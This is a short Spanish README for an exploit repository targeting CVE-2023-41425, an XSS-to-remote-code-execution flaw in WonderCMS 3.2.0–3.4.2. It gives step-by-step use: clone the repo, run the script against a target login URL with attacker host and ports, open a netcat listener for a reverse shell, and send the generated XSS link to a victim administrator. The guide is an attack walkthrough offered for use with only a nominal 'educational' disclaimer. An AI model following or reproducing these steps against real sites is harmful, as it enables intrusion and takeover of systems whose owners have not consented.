CVE-2023-41425-wonderCMS_RCE

Vulnerabilidad de Cross Site Scripting en Wonder CMS v.3.2.0 hasta v.3.4.2 permite a un atacante remoto ejecutar código arbitrario mediante un script manipulado cargado en el componente installModule. Solo con fines educativos

Requiere conocimiento del loginURL, acceso de administrador o la capacidad de hacer que el administrador haga clic en el enlace XSS.

1. Clonar el repositorio

git clone https://github.com/thefizzyfish/CVE-2023-41425-wonderCMS_RCE.git

2. Ejecutarlo

usage: CVE-2023-41425.py [-h] -rhost RHOST -lhost LHOST -lport LPORT -sport SPORT
python3 CVE-2023-41425.py -rhost http://example.com/loginURL -lhost 10.10.14.7 -lport 9001 -sport 8000

3. Configurar un listener local

nc -lnvp 9001

4. Enviar la URL XSS impresa a la víctima o, si tienes acceso de administrador, haz clic en ella
5. Esperar la respuesta

Crédito